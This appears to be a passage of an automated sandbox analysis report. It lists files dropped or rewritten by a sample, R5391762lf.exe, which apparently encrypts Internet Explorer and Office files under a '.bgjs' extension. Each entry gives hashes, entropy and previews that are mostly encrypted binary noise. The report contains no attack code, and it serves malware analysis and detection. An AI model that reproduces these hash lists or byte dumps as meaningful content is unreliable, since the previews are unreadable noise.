.%..n..N+...j.....^.8..%..@.....X1.w....&+....r.r.........7Qd..e!.2,.B.....T.KTY.....6..X..~..8.^b#.F\0...6......L.",R.d...`.s.....N....u.t.k.h...gN.1R..k.............G.....T>..z..s...S..[..x.....\b...>...K........}..G...M.9...-.^...vl.I..q\|....e.T...5"..+..v*-....&v.\.....=.E.F......w...+FJ.......[`.)..:..8..N...%.G!w.w., .......7.C....7..6@n( ...H......n............Z..r......t:.PRK....

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207603830132077
Encrypted:	false
SSDEEP:	3072:eoTwOk6W5nDzNPAxhHzBmj34lzjN/b/QkFjlDaH848YX4pmevkHB:bkOk6kpaVkjIlzB/XNlDa58A4pmevW
MD5:	3383B070C508E1F0F725C1AFD890258D
SHA1:	EFBB848F105841974D52D62A8A5F0CA15978094E
SHA-256:	65E90A7B50763BF187CB1E8BFD2C306F31E7D4FC97ED09D1F489F08DC5257807
SHA-512:	1B109B33E0089B2EF7EEBDDECC22BF640B5E370E6BAF4E5352165A600D0503692E910DC67A3539291014E6A7E5F4138959615796F854F1FD33A3ABB21E8E604F
Malicious:	false
Preview:	.....9..."....!.:........w..L..~.hTJB.....D.l..%.W2..3..Ex"...+..R.O.4...C.N.%.^...c.Gv.".u.7arl...$.Q.B..!.u.CA.........?q..6e......."...9.h+...n......#....EC.......^.4..&0......(.i....J.].+..ZX^[.c}V...g...E..[..m./.H...$.}.G...W8.......x....=,[a=.).14.Ac37...R.:..!9...B..7@...A..6q]N.1mM+6.....u...f..KI.o4F..$v..g_.U....(...?>...3pA..[..bn\."TK........T%..Om..(..(.A.We.".[-.;D..2Ta...L.oA......0Wy.zsa.l........d..^}..;.5p....$...v.[.....2..B$.e&6..#.on.p.xE\.......e.xr2...@...A.....!..-.._..].6.}.sS...a >...\|.md.k..aW....Q...,.K...W.Gk.M.?...wRW..K,b.S..3..;.uL..U.^B..]...Gi.c.....KX..V..o..4W..~..VXTy.U-..L7..........\|..Z;@}l.3.?A9.7..5s...)>...\|:.H.{.N.'....K."...@/..>..\|"Z.........(.....i..(.....WU:..W2Z..........8..~.W........#....Q.]8.4ix:.$....VD..\a..~...ja@!...(.U....{.O.k[.E...l. q.....b.+KDC.\|?.jO..c..;b.....\R...=.t..V.M...:h.....X].o.m....f....adA..I.... .=$..w\.......U.O.Z&d.=....2.Q7P".b.].~.]..:).`.EH.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207848507253273
Encrypted:	false
SSDEEP:	3072:mdJNn3Ehbr3Qg21X33hrUhthjWIDn8D7MIv7MsCK7XY/1PL/VX:mdJ10hbr3fc3xwhthlD8D7M27OWkL9X
MD5:	690DFEA6D8A688FA67E8348056EEDA8B
SHA1:	3AB286C3C3A47497059AEF7B6298E37A37B28CF6
SHA-256:	1F7CC3BB1D0FFA626C39456170012AE9E75BB390EE100C1D1185AE503F14631E
SHA-512:	2F23A441E69CBA3F62F5C6EAC8A3FE0D411E113687D931974B1CF106BEFFF57A1BDEBFA05F0CECE4E70ECCD9C6FFFA4F78FB8C5CB7A835722BC6B6EB09054006
Malicious:	false
Preview:	...........M......e.O.L/...LW1..z..=....V..#..:+........O.............!2&.F...Sg.fT?...c..#>.'......b1..!o....\...(u\.m.b]..g\|:F;...4.c(6..G.....8...Ve......q.....Z......m.'...J.3.g>.......p.=....b...zi./Q_p........x.5...z.F.O.....uM..J..[.Gz.....o.F....}AE.r..`.<....~l4.a$..GfL.h.)..\.....sV..iQQ...d.S.]X...e..!..<.f.;.j.yG.b.jpL.d*..n...'!nA&.,.lX...H.&.S...r8^R......9.M....-LR....h.B\.8...q..........d...@Z.Z.8p.w0.=...,x.Obm..1..].w..@..$&..%...B..@c....y%_&...(m^..%....i.P<.......Ke...f...>T\..r.l'`....%.frE..g..\|d....4....6F.0.;.[....=.\.lMwm..G].Q?%.q..%.p.r.~...r....._.r......=z@....1..q..o...,...O.....J.q\|...W1k...7..z=....;....K.ON.}.....#. .i.....8.z..".A9....5S.\.x. J0.....7....xAJZ..G.y8.1@..>...f..N..G+..2}.6#k.......D.]...U.....p..a...2.p.j.....4A.O3-..V.<o.]...".....&n.\.b.....s......dh../Xu.L...p.O...R..H.\'....T..w....S;:.t...@X%D..f.gK..dX.......$.>..p../.l...#O.}..$..!hV.G$;......7...e..W,/.u..B...Z#_.0..w....y.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbtmp.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2084238006531014
Encrypted:	false
SSDEEP:	3072:HQmB4nuNjhxtHkUq917+s9qYYEeqipUt8cS1e0PbX9OEX8mof1gAa44uoo:HQmB7hIUq9FP9qUxO1TbMf1mSoo
MD5:	D8063FD8EBF6D5031A20DCCE1282675B
SHA1:	749444C624FAA6B4274AB34F09945DB0EC76BD93
SHA-256:	B77CCC555629CA5B6C3A005F12FA463F50731FE18731C10F6D48534391B0B3DE
SHA-512:	00037483D3208672BB6F9F3E3B444C9ECF0FD805D229D39F99E142FCC56F8D76A07B9EBA2E7358BD7EF934A748CA11C2891A4CD8D6186C0C6BDA4B222EB027A8
Malicious:	false
Preview:	..........OM.kc..Z.,..P.H=R=........V.r..&UuW%.<...%c....LG.U.eX..^.yP.-.v.y.Y..".....Sr.....ANq.+.g.q .)YB_.L..s?imE...U.".`..`#.L.IP......y$nq.....!V.s...,C.?...4....j-..h.#.n....1....l..5e.I..F.L.:..k..._....cT.B..U%..v.. .J.T.{...mK..U!d.u..w...+&.<...N}P..8k...0.....ts..@!]..wWm.B.m...............y+...J.?e=...c&.....{w......4..x..$......Z..0.a.\|.y..{.OIJ=.'.&4......nFI.D..?B)S......>Z.E..Q......g.=Z.D...>`.h.F..K...oH8.r...o...I..+..{La.:Z.\F."2...'^^=.f......s.$Ra.\P;af..U&..O.x.........m......B...4=..,~..D...TM....~.....d ....yW&.(-./d...=..Y..M2%Md.....c....K.K...6C ........gp>.......J.J&.....c<....N...=...RrDbI..C.B8.+...G..u.......5...... {..sf.i...s.k%-.h8.iEMHg...B.*h..CD....>...=.x..nQ.-.6...O..#A.}.....t..2.....I>..{:...o.u...[`..7.....K...JI.5.....%jJ.K<.X.................B......,.C............!.W.%...........e...&.W..0.....]...g..N..P..b......vS..^......!....j..r[C].w.5.$.7...H..y.<......!..-.I:.m.W..G..wq`.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.946324447156586
Encrypted:	false
SSDEEP:	96:hW7EZS4QYNhJlV89ZusCUEjExHJ/gOUFuQ:hWmvNhxoZusCUWGlgOvQ
MD5:	F40148B10E7DCF44D3EBB7AD07BBCE4B
SHA1:	2DB300D108D387EE1439A3048F9229E706C8BC0D
SHA-256:	D4C84182EC7DEAAEC055CDE6F881D7A2484DBDB0C55A95C149C25F650C4EC6AD
SHA-512:	20C3B9630F6860664D55D2AB48A114EC200EACA5C27323990735030703F180E4B0509AE9DE0597F9341331D2E6BA2654DD232728A083B8BA81CBE4BC872EC8E4
Malicious:	false
Preview:	<?xmlD.......V(..6....1oBN..lt.r.....vij.{\|m`.K...;u..}G...2.x..%..f.........".....h1.#^.[.Q%.c..\|...%~...5....f&\|z.D..#.y...m...?..G.......t.p90.y...i....FF........8..QF........{.P1..EAh...!.z....S.. Tj .Vb..!FD....oJ..<.%/<PEhH..p.H.,.....PF.f.(......~..3.f.6...^u.2B.....\.Jh.a....H..t...X.1.cd.......2..E..)`..b..`...\.U.n....0..{..9B.\.s..C=."..........ga.......Ls?.Hq...l..;.`_.._.xq....}..U...x./V.N...Y#... a..7....F.&.(..v.)#.5... .X....@.0.h.......u8......H...@..S.L.._..'.@.ef....1.b..l..C.z\g.}Z...\|.G.....T..T...h.....M$.._.S..o).A+..3..9..6..B.c<n...$...M..~{w....i.LrG.&.C.b.....i:.....(.J....vS.vd&..d.\|...5..0,z$.6..a...&#./...y.;.,...qv).^...f..,..)Z..]..#..3.^z.R.B9 3....w..`..0...At&.6:.eex.Agx......8AHt...Z}......aq.<j!..t..Y.},9....i.....V}.N..E.\.l[...w...\.s...+.i./O ..ZS..9......P....F.Aw.A...X..o.... )$..tp.......P.*.{..u.h......_....)0..eY.......I/U......e.qT#...my.....8Bm.>Y......b..0cY.#.l.....H....d..C2....Y.L....../S....

C:\Users\user\Local Settings\Microsoft\Internet Explorer\brndlog.txt.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	6907
Entropy (8bit):	7.975031652914224
Encrypted:	false
SSDEEP:	96:i5Xq3AB921qOL/TFQs1pSH81NGyjlejP9zGVGNWM+WIm9GMhp6vEIw11yljjUsXt:m3B9zH8bfle5rh+Wt3pkEIw11yljXa7Q
MD5:	0878D17FEAF8652E4E191DB75E95FF9E
SHA1:	EA1B1C9E7825E778E8547FEFC3CA354890CDE383
SHA-256:	ECE38A86A0EE4A5F604693C2A9CF85586E1269B93AA80207B2FD7CCC509C733A
SHA-512:	607F6A8BCC71A967587DB257FBCE0AF1BBABE1C56B32DC5DFBF3F5E158E95567B9626C4FB4E3B0859B148AC0B3D51431D09E5B9C9495EAC870E522DF7998C2B4
Malicious:	false
Preview:	10/05U...:%.c-(w-..%j..>.\..uN@.u!B.....FoX.mN.....L...G.K........s...[;....4[AvoPFh.Q..~\|$.`[A.+...6/.....#^..F.... D.&..v!..U<..P...-$.Y.....QJ..VZU...]...3Z4/..[.L...[...p.}.q..S.#Z\.TcZ..U....23R......f_.[p0nz..W.......X..ZdGku..x-.....w....]....=Z.E..F.Fy...~..la5.Va...v...~.H.3.^...E....^....../.YS..&..8C.@l..]....}....:.`t...BZ../JX.%.2....u.7@.).ER...ns......S.LJv.....x7..d;.z......2..<.w.M.3h.c.v/.W..$>../.......&..z........%..m..,...W..iK/.S.....p..H.:..I.rm...i....M....s..-.....i.x.e4.,..k[..$...6..g......E<.K.S...pq..p9[...pv....9..[0)P.d..d...]i7{N..r.s.N..q=...-c.....}...p?I.n..@......m.@..r.2...sx.F...O.H../....^A..Kb.....i!q.0.%..J.<...b.[_...Q.j.&..WJ.3.^AH..}6.C..`.f..n[.[..3,&....a./.....RH{(OIgj.e....p..zz ..}d..\|m.L..P.:.G..E.y.."....r.#-.^......Ua.\|.A#..b?c<.D..Y...f(Z.~....\..G5P\|$../..K23..tl..#......b...<.D4.a..z.ieD.B.p+5.....u......8o....]).'...$W.I..?O+.....j...6 ......r6K....g;~.j.%...F2I.bv.z....5.*A... .va...,..e..a

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1272
Entropy (8bit):	7.828131381863902
Encrypted:	false
SSDEEP:	24:QA7sjkHTRX0R9qHopPeM/1ZoeEU9rvj1jAe5RN6rBdpt+dRJGrc9kBOnYAXq8uWX:tlEuopjtZoWLa4KdiCrc+rAXFuED
MD5:	7FE7FD763A9FC9967FD0B76588CC1F4C
SHA1:	6D62784EFBD5C474FA7C85A9A81AE0DA7DA2C3A0
SHA-256:	C44752402FE5CDDEA5F374AC06BE02F01A8A92A293F656E0AB5E1D7B5E528A77
SHA-512:	6F5A49F6C77813495C86D7EE67625E20B1D7E901847B4792B35D9798E9CB0F17CE9809DD3F4998F3B00E602B04C64EA68832FB0DD9CC5118778AFDB88D53182B
Malicious:	false
Preview:	..1.0..b...G.7\^...._J.G..^..n.".d.!..j..gPa..GA8.[b........x.XC../d.mf..f4..L.r.O.....:Su.Eja...Ol :.C..P...k(...6#...i....<...Py.s.T.3.xUM.Q.v...^.......k.[<.7..}.BB....'..j...^...}g.q.c...+r..B..l..'...8ybBK../...9[...50T.._~2....]o.V..vB....m$rh..l..xg$V./../..0..4..../.z.=.?.(......8;...q.....4N..a.w.*.o.f.L..wu=.J.\|...:..T.;FAQ.R.)l.....(,H/.....lZ...Z............"@/uS.q...W.H.........}5fg.....:iW.{u..2R.....C.<.y...H..W[.dl....ltw.....)g..@...N..Z..aw#........+y.~.....E...........DU.3..V~'ta}.h.....Q.%..[R..[.}...).{.]..Y.Q..\.<.N.......s....O...P$!,X....-Z:..>.+....G..k.....F..}KT.D.^X.6q..sE:...kQ.M.aD.4...5..T.w.. .o._B.:Pp..Ok...yS..s.0...>...,.]g.="Vs..#.....>Z-..po5:..W.n.$,$.KO..e?...e.[..x..w.N.r.!.a ..-TS3.BKQ.07n-.E!.{.z.F1..S&ZE!.@UY.).<...<.+4.^.:.#Z.....;B..3/...c(.akk....R.J.J.r...P.S..E.......m....F..P..N........?.X.....U...p.<..@....`.&\mL%...8}3}....._"D..#B[...%.i6...X...T...#-.o...(3R.H..]r:....G[..R...d.j...[.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4uinit-UserConfig.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.883109618198522
Encrypted:	false
SSDEEP:	48:0tLPmXtBik+Jg+Onrm+1NTOiTQbyFA+2XFuED:AmXfgg+Ont1NTTQbyuFuQ
MD5:	AC031C37DA20F4AF1F8534F7121E4ACD
SHA1:	6B4732861BB903C056B7FD54B115B38695F9A8D3
SHA-256:	C6378FFF5F47EDAD650C43364669F6A1BB14EA5FF16236421A564CACD2C01342
SHA-512:	C715473A50E8008581D0507A1DB1634A849E5EC2BFD3BF50A605781039C658544B1D63A772C7827E4D797ECBAF21502CFE0B40ECEFA1F41AD7CBA428C52A423B
Malicious:	false
Preview:	..1.0..\..!.-_..k........Vk....3....N....~..H0r?. .f_..@.HQ.W....7..P..Y.dD..m2k...;.4.S.*.B.o.=..9...4.gf8..S.Y.&..'..B...."7.....`./....O/..x7....U............Fx.N....a...o.C..n.U...8....x.h......}......=.(...L....X..X.,.w.)9..6....(.&c....R.[9x.N..E.@.k'...R..;.s....=.e8bG`S.y....~.U.M.....x...A...Uy.....U.]#.......9.h....&......}.6&.U..hx(.?.$/X:..t.m.0-.59...5,..P5...`.6/.q.?%..07..'.y..,.T.G"o.2Q{...g...xj....A@$.^....q...!...l....x...6....6...6..,.zq..'......+R....@.+..r...K.;!l".i...\|.00..E.br&.W..V..i..]...6.nF...o.+yx...#...s...W..K.{.....6...J...i....0{..}.u`.I\=...\JXUC6..w..Vk.M[8.E..%..o..:vk.Jx.....`..BN#.R.g.....L..O.aE..r./T........WQ...<...w...k;..b....-....WA,...t.x.....!3...8..I.N...D..T..X.~....x.yG.M..24k. ...DV...<1F3.1...U&.t...X..kn!..h]l.9F&.C....+....P".._I+T.b. ;..b.a`z.....].@U..../{.../.%..>3.?...G...pC..-......F...I$..V:q.7._)...I5.hl.&...k.I..:>..1.o...N.Q...j.Q..........F...3.Lg(b..]....F....G...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1062891
Entropy (8bit):	5.530364236002092
Encrypted:	false
SSDEEP:	12288:JFBUaowXSZlV0N8x5thr291gess3TylunXD:Huaow
MD5:	D1467AA2ECC02AA5163805FD3E63F9A4
SHA1:	A6758404F6D108EB4EFE4F70770CA66EB0B5D1E1
SHA-256:	10C845819A9073521A2038147DE7BE37CEB69FF082B10A2929AA0B41203E3612
SHA-512:	AD50B5ECEAD6A1A1A7BF86968A4AFC73188BC428F7E5F6F00A2990DA948D91791F7E0EF6A9B6B52BD9C1B2E4CB6CA64B0F0C8BC5FB796E6DA7B4700DBC2E5AF0
Malicious:	false
Preview:	<Rule...^R$.....I.:..A.H..).2:9#Mi...$.M.......hInkv..j?H......{..t.......,$-.....'.?..hBQ..Tt.a...q....k.R.[...I..f...>.....R.B.........d...VOu.uM8W.w...Q._?.\|csH.....A....p..j..3.........k5.d.."'..}.OO...>...t0.....-a..L..6.h.V....~.....]3...Po.~.;/.W.g~..Op$.8g....,..<.\|.S..M.....i....%..B..Z...-.q...^.&.U...j2.....=.&..^W..6.Fb..wX..L.=V.....B.....x9...r.n..m...` .. ...........8.L..b.....E.q......._...x..3..0{.7...v...xP\...M..U...M..k..d...f....?}Z..B.D..dM.d.O...[.bHJ.b..5g./G+.!]Jx.J.C/.c..kK.;R..Og...G..MO.}.&.;Y.p]_...~.....Pi...L.`.W3..\|..[..\^.....8:.n.01+.....`.~..<.,[...1.....Vd.z..?..)x/....l.\|........~..sA.j..h....lXKS.A.d.a........P..vW.3.C.4..........Am../.G0..T.L/.G..:...3."0m7F+.........9JRpD.sw.l}.\.....A7.7K..`.......zzbS2li.....0tT..I.?..;..w.\|>^....AA_.gn...$....J.H...6.y..............J..;8..n7..r...~..<.gW...=,..Q=f.R.U~Qs..9"V.c...5..}..W.....3........h.....3.ja............$..?vt.j..a.........8_10.:d).B

C:\Users\user\Local Settings\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	323284
Entropy (8bit):	6.623058114594874
Encrypted:	false
SSDEEP:	3072:U7+NahTN3pv0tBMocaVAjamVVQ8sSR/V3/502pVtTFByNIS3JYo7vg7iya:1qZ3JCe/jbVVQvSGQVt7sIfEg7xa
MD5:	9B77B387DBC99BD5D1BDE53FCD98A9E3
SHA1:	1A46645CD01C54D3326C1718C943DAC8524F9F26
SHA-256:	419301B2BB8770B7A02A03E83A18D36E0729A2F7ED712F29B7CA7BE1B5F41256
SHA-512:	B2703870064BA7ABAEAF75CCD69201B877925307D4DB1FE6A32010F26EC598081689D3536F610A9A0F884F82E72EA068AA5FC183222ACFD3270970F52E6A1F1D
Malicious:	false
Preview:	<Rule....&.8fF[.l..........H.....)..(.(?..x.H...;....j$...Y.....j..iX.`....[.v.Qz.>.=..p.....&e.y...T.S7..ys...<.j.zxkw.>.Q..8Y.e5c?..._.....I...-g..r4j7..ob"..g.!..rs.u..P!..H.[.......K.y.Ga..W+(..!.....3{.oB..5?.A..g..;..M.C.A.!....`U..b.T.hY.6..GL.t...slf...+....?n^...Z..-....z....s...Lj..H!.%......@...}9...D0_.C..OPNwH..x..c{+k.K.7.4...X..pb.J...(N..>...o.E..z...j..l..+.<....?.....G-........?)/.3J\|f....3<..5[d=MQo.rfz.8...'.XV..vS...S"..h..[.u.Q.t+... Lf.!... 8-..2V1...O...V.b..7.W.h.~........F.?...N..wly.;Ac....AD..I......D..Sg.\%ks..-+. .(.i..N%..'=@v.1e.Q)x.....K.GV..$..z..g......>.C3...w......-....&..0..m.."..".9...OQ.\i.z..d.e.....L.{.=e..1+.....x...{.t............"...M..d$...<0.".VC8.._.>5-}....;.X.l<J0..!BW.'.u1.xWS.B..........+.k_...PE............O..61..\s...aX...u(fo..H^.Q.{.]or...=H..!.....,(p#..!1P....n% ...q.../.....lqN.....uebd..O....v..3....[F.`.T..X.YV...2kj..C..i.ZRf..j...L..,Pf..9..8.x.C......"b..4f;0..X.wzm.]<N.'...k

C:\Users\user\Local Settings\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.513596241392864
Encrypted:	false
SSDEEP:	3072:LPxOHELVePDtyrYVdfkPqZKmAmd8rnvbB01txa:LPixyrAk9c8nDg4
MD5:	095761AF168170F38238F422D2BFC7CB
SHA1:	438CA139B5E05F402AFEA3A097ED338A0FE37593
SHA-256:	DB5CFB1B3607E744C33BFA7F34C8BAA710A4432723B295D436D6D8E5F39F5BE5
SHA-512:	1A1FEAB14A61834B77971ACF837DC03F3AD9F8994A2FAEE7C6E4DD6EFE6C474B6F8C072F17F0904F42BBCDA545983B3881F4D2BA0B4D63FB6E3201F91B82DB88
Malicious:	false
Preview:	<Rule.z.E[..FF.)..In...8...d..R..rr...#N.P8(4\|b8.C[.._...R.......H0>..H.I..:V.C..m.h..,...P....`..7.v\|<.....<...$4]t(....t......f."...g`....T..Fp.e.Y.(0{...[..b.....R......W=..Aq.e.%.....n..9X.`....)..tv.x.........$i.....\|%AoCr.jQ...G.o./>.5.$Y..h.Z...Z..qgv>0..:..$.2/...(s......8...-..h..].....eg...`}.f-U.3.........y.=.}.e....+.xc@......7....A&...c..H.1SJ.n.k.F..0.J..,.V.i.Z..P......,H..a.Qb%f6..3. ..M.:.90%....<\..h.<@......;.7.&~.s.......Dq+..G..jFU.k.....a7.... .W:...Q.)+7(9....r".>.....)...$...^yH...6..J....clB..>...u.xmcc.v...:...I..{..2.A...3.E.h...h...?r(._.g...FK.....1.....b..0..A.....P.UfU....3.......V.....YH.w.V....-....~..S\|.Jd.Z..WC........\|8G.b.p...7.......'G.D.I0B.@. ....I@.p..]Jv..:...TVm. ..b.l.&..<E.kq.g%.g..Q%%.^...([.....>....#.Wze....l.~l.`.W....fl...=6..u.....F...8.r.P.l7.YG@.u..}.I...M.^..);.V.)>6>..,..sn.x^.N....G....I.0..=aVO....9.*s-8H.......<7-.d....`....}..z.TfI..c.6...G...T..Oj.w.....E.x..Vd.y..z...I..%.h.

C:\Users\user\Local Settings\Microsoft\Office\Features\1-7FeatureCache.txt.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	7.78854102557755
Encrypted:	false
SSDEEP:	24:kUQ51VOmQaeg2n3xNfR2WIh+Kd6TBjZRe2zt1nyurKnTZ7Re+Xq8uWbD:kUY1CazM3zkzdSjz17yurAZle+XFuED
MD5:	6F00421E75AFD728644328824F48A135
SHA1:	48FACE6AFF16530C946841BDF9FA5C0FB05BF4C7
SHA-256:	0F5C72D834234B280B60F659234E6E22FC840134B49DF48609B416B7572B9705
SHA-512:	689F66BCCC2CA4C1DC85CBDC1205B44EDF72AFE0939BF9E96491192B9925EF636B27EA130DE06F4A571855722C081673C4CA9522144821B28B0FD96C71A210AB
Malicious:	false
Preview:	3.7.4n.. .D6.+7...kb..;5..zWDVH\3.......+...06<....8e.....6.Z.-C.W.oh...Y.x.K ....e.....\|p.W..z..F.{M..6:.........N..j....\|.r..Tz...m..W._..X....j....3+c.'.U..5O..~...Z[k._..s...(u.c.{W..-dd..FB.......G&W.nRIJ..\|...t...dd.g..f..;......9P.q.5..."......8P...=.....<^a..N.Y1....H..]v........U.aPY..dz3.~..7xh.......r....fQ.E..{.N......q..FM.IE+#.\..?m...p.S...X1%...<t/.n.V.....P6.......&.....u..[."..ei.;.....( D..U.O.T.#....-&/....M{m..rW ..^`6}....j9.:..Y.!.2..83g..i=.2V'..i .A.....>....=...I......-....\|...`.2.I..9..n....rxw"^...S.r.#..MUZ#eA-.f[L.#........7.?v.....{H....c.!.u.W...b........+.......\.Dk...#..@{^.}.!.+.......Q.7...e....[..Q....[NBi..i..B}.w.M..,.\,.sM.....eh..=.j,$...z..%S&....(V.........e.t.e..N..d.K..&n...\|+X.{.... K.ah',.....eV..A./~.;Bn.J.7.}.......n.....5y.E........[.....D.Ob1.T.\>.U{..5..l...w....'.....4......\|iF.aw...Z...P.H..:....re.C.....M3.`T..L(.As.......N{....d.....*n$>....$...o<....n.P...Q=..}.t..?.s...

C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992617053204222
Encrypted:	true
SSDEEP:	384:DCxoF4X+3FAxJ5xfNhaaB0YKorKKh1SHHsMzyZ6opOJuzz+wUvk5CUhRLSYayxFQ:DCxoF4Ua5ZCYKfKhgnlU6opf+hsPaKK
MD5:	501FA5E2108C883BEFA066FD9EE307DE
SHA1:	B2F9E38DC0626F9C1437C21F2BD1FAA180E8955C
SHA-256:	674EC3B0EA02426A398121202F7DD2EBAC5685FE36C79AB6100520FB54EAC403
SHA-512:	B3268D7AD5DD445070F48BBBCCE3AE41CE5173E6E88B03110F29663A62783032FB0134C23DD0A17FBBABB27DBCDB5B60F152A322ACD45438735AD81887E48AEC
Malicious:	true
Preview:	SQLit..F......%.#.....@..).r>..&~C.mu...........2.....q..}.#@.N......!..,.X.;}\....O.s.C...(.(W. )4.Z..i..`.[........]jSE....Q._.U..."N.A.id...O#{l$..[....b.2.'!....5i..m...f....l..:.z..... .k..Y.I}z!..(....Cl.n.mI...."is.'..L...w.G.v......n.Z..j.I.....1.b\<.>4.o.a.z.Q.1. ..Y)..sM0.h..J....}..ry..7..D....y\|uz...=n.e..-0.\.....,\m..#..,..w.QUO....O..Y.1#.5DM.4M...W..~..l.Hh...$....GN^.vA.a%5.;..JLFT....\|......S..#..\..a....w.z......XB..k..=9K}..j.t.S@...[.O.2...)MF..\v.Z....N.._q..m{{..Q4......ya../.w....].K.>....K.T.T.......RY.....#0Cj...5@....6$Y.TZ.&.....D.%.0$..cQ..v..N C.ks]B.l8.P3..A.<...n....U.....5d..a..O..@.B......R1._.k..$......w.?BQy..~..l..-i9.k.-.U..S.../F...."..V2Z..>..xP.iZ.!....$..!x.vk.T.;.]']n{@......,.......D...e..J#.>.:...s.W..6...5r'.....{.Z.U!.-.h...*..~..4~.x .>.. .....c#..\|.6.p...J.pz\|.\|.aw...@.Y.8.~.HU.8..}.`....An3...........H....Vny&.yn1.%L8..I.@n.k....Q.M....s.z...b.G....l..>.........Z.7...;.._..K.Wr.s}.."..o6..=

C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992202250399942
Encrypted:	true
SSDEEP:	768:Mu7NJ57d5dAkB3kX1tyQUCja0DtFqlrwI4xb:vTrfUXbjfDGrb4xb
MD5:	4C1962AB859C7D3452DA534563466AD4
SHA1:	F13D2A8CBD4E8C02DF9AA082854CFC7651EE5559
SHA-256:	FDE9FAAA42DDE33ADF61D41959E0DC8CA4B829B5EB09ADC910F8189BA259F0F5
SHA-512:	39E71965DD8673FC50211AC5345AEFB1760D709B18EBB54A9A53C896C7EE04B59A7D0F90562873C3F82233E3FA2DD9E65B0826F7B93FF7ECBFA5AC382B51FA66
Malicious:	true
Preview:	SQLit...K..[.;z...W.....^.0....O.X..+..P.EL^y.;C..>.<..._.c....l....fk.d.YL..;\t_V......W..{..#._M.L%.8..y@.xs......"...1M5....V....B.../..q.....ZX.."-......Wx...Bj..Y......c.d..B.....f..`.....QqP../.R..T.I.r.v...>.I.H..V...ES...1..L.[G.r...........JTFH.....J....@..n.]0.p`7.b...u.P..By..5^...V.Lj`.+.S...pM......&f.aZ..8.....<"5._L.... ...u:...[.m.3.l...y.~P.g.<.....<.p..d.St``.PL..d..rE../.0...R.. j~.<...X.GJ...(z<[._..'..7.......rd.....x\|.?..0aa^..Qar..p7d..U........NM.....g..4..-:w..=...1....~.v....6..7.xPn..k..v.E..A.L.R]....F.o....-.c.+...d.......X..a...[.v...HIH,.v....6.?..f...\|.:.H..F.-..".l..b...!$..vs.g.z&2..u..>..$.....D..O.r.8..k...).y.B}..M&7.....-...G..M.VA_.G_..\|..E.......p...h....[. ...'.. T..v.....a......{.8..<.;OU....!..4K.?....!....$...'..f..l.....@M,@M1..@..U.i....F..ZT_ EN...o5_..9..#...sS[..m..tt...U+....7.R5.....S...e.u`.....@Ba..7.l....+. $[.lsS..>..U..wF$#...PO.....@.ag...p\...F.A..D...t._...B.=...Y2..^<.

C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.99238683786243
Encrypted:	true
SSDEEP:	768:Gj4cKXASGD1RqI3PMrV+UELTP6nwE/meRJY:5A5xP6PEXPilRJY
MD5:	D0C9C5BCACB91CAC64E62DD841AE0D2F
SHA1:	A72D41E96D6CE1A31634566A81F293D09C49C1A2
SHA-256:	0BC0BB8F6F177FCEA16ACB93D3B6013E2A5383A7CE9B4EC1F9A6E1064636BE7D
SHA-512:	94A9A6CE9444DDBE12F66EEDBABAF8EBC2C91E65F0DEB72C82CF6242676BED32FB4963C46FE6F0FB9FD9623BE4BB3D5C93C83902FBF91B865B7285455DC01F1C
Malicious:	true
